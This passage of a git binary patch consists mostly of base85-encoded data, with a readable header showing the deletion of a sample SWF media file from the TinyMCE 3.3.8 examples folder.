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 afd8z5u|5U#zJmerzjg7^Q^AYT`u_o5(5;yO diff --git a/tinymce-3.3.8/examples/media/sample.swf b/tinymce-3.3.8/examples/media/sample.swf deleted file mode 100644 index 9f5fc4ac55e8b4fbdeb0f1deee0842885a09291e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6118 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 